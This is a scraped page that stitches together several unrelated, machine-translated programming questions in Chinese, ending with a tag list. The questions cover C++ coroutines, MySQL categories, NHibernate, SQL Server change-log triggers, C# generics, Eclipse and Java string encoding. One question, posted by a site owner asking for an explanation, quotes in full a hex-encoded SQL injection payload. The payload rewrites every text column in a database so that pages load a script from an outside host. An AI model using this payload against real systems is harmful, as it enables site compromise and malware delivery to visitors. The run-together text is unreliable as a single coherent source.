我正在完成Bjarne Stroustrup的C++编程语言中的一些练习.我对第12章末尾的问题11感到困惑:
(*5)设计并实现用于编写事件驱动模拟的库.提示:<task.h>....类任务的对象应该能够保存其状态并恢复该状态,以便它可以作为协程运行.可以将特定任务定义为从任务派生的类的对象.由任务执行的程序可以被定义为虚拟功能.......应该有一个实现虚拟时间概念的调度程序.......任务需要沟通.为此设计一个类队列....
我不确定这究竟是什么要求.任务是一个单独的线程吗?(据我所知,没有系统调用就不可能创建新的线程,因为这是一本关于C++的书,我不相信这是意图.)没有中断,如何启动和停止运行功能?我假设这将涉及忙等待(也就是说,连续循环并检查条件),虽然我看不出如何将其应用于可能不会终止一段时间的函数(例如,如果它包含无限循环) .
编辑:请参阅下面的帖子了解更多信息.
我正在制作类别中的项目列表,问题是该项目可以是多个类别.在类别中存储项目以及如何列出类别及其子类别中的所有项目的最佳做法是什么?我正在使用Zend Framework和MySQL来解决这个问题.
谢谢你的回复.
对不起我的英语不好 :)
假设编写nhibernate映射文件不是一个大问题....或者使用属性污染域对象也不是一个大问题....
优缺点都有什么?
有什么基本的技术问题吗?什么往往会影响人们的选择?
不太清楚所有的权衡是什么.
可能重复:
尝试SQL注入攻击 - 他们试图做什么?
在过去的几个月里,我在我的网站上多次看到过SQL注入尝试.
';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S);
Run Code Online (Sandbox Code Playgroud)
通过我的代码后,我确信我受到保护,因为我查询内存数据集而不是数据库本身.然而,尽管我确信我受到了保护,但我并不完全了解这次攻击尝试发生了什么,并且想要弄明白这一点,以便我可以避免在将来编写可能容易受到攻击的代码.
任何人都可以向我解释这些黑客试图用这个代码做什么?
谢谢.
- 此代码将附加到查询字符串以及作为发布数据发送.
我想增强Eclipse,这样当我按下自定义键组合时 - 说Ctrl+ Shift+ - E然后它会在当前文件上运行一个命令(如果我当前的缓冲区是foo.c那么它将运行`mycommand foo.c '在foo.c的目录中).
我发现标准的Powershell错误显示(红色文字,多行显示)有点分散注意力.可以自定义吗?
我想将对表中所有字段所做的更改记录到另一个表中.这将用于保存对该表所做的所有更改的历史记录(您的基本更改日志表).
在SQL Server 2005中执行此操作的最佳方法是什么?
我将假设逻辑将放在一些触发器中.
在不对所有字段进行硬编码的情况下,循环检查所有字段检查更改的好方法是什么?
正如您从我的问题中看到的那样,示例代码将非常受欢迎.
我注意到SQL Server 2008有一个名为Change Data Capture(CDC)的新功能.(这是CDC上一个不错的Channel9视频).这与我们正在寻找的类似,除了我们使用的是SQL Server 2005,已经就地存在日志表布局,并且还记录了进行更改的用户.当一个字段可能改变时,我也发现很难证明写出整个记录的前后图像是合理的.
我们当前的日志文件结构具有字段名称,旧数据,新数据的列.
提前谢谢,祝你有个愉快的一天.
2008年12月22日更新:我做了一些更多的研究,并在Live Search QnA上找到了这两个答案
您可以创建一个触发器来执行此操作.请参阅 如何审核对sq l服务器数据的更改.
您可以使用触发器将数据更改记录到日志表中.您还可以从www.lumigent.com购买Log Explorer 并使用它来读取事务日志以查看用户进行了更改.但是,数据库需要完全恢复此选项.
更新于2008年12月23日:我还想要一个简洁的方法来比较改变的内容,这看起来像是PIVOT的反面,我在SQL中发现它被称为UNPIVOT.我现在倾向于在INSERTED和DELETED表上使用UNPIVOT触发器.我很好奇,如果这已经完成,所以我正在搜索" unpivot deleted inserted ".
当此方法返回时,[value参数]包含与指定键关联的值(如果找到键); 否则,value参数类型的默认值.此参数未初始化传递.
我需要在课堂上模仿这个.如何找到T型的默认值?
如何修改此问题以使其显示在搜索中?
使用Java,我需要对名称值对的Map <String,String>进行编码以存储到String中,并能够再次对其进行解码.这些将存储在数据库列中,并且通常可能简短,因此常见的情况应该产生一个简单漂亮的行,但不应该破坏数据,即使它包含意外的字符等.
你会如何选择这样做:
网址编码?JSON?自己做?请指定您使用的任何帮助程序库或方法.
(编辑以根据要求指定更多上下文和要求.)
c# ×2
sql ×2
c++ ×1
comments ×1
eclipse ×1
eclipse-3.4 ×1
encoding ×1
event-driven ×1
generics ×1
java ×1
join ×1
mysql ×1
nhibernate ×1
php ×1
powershell ×1
simulation ×1
sql-server ×1
string ×1
t-sql ×1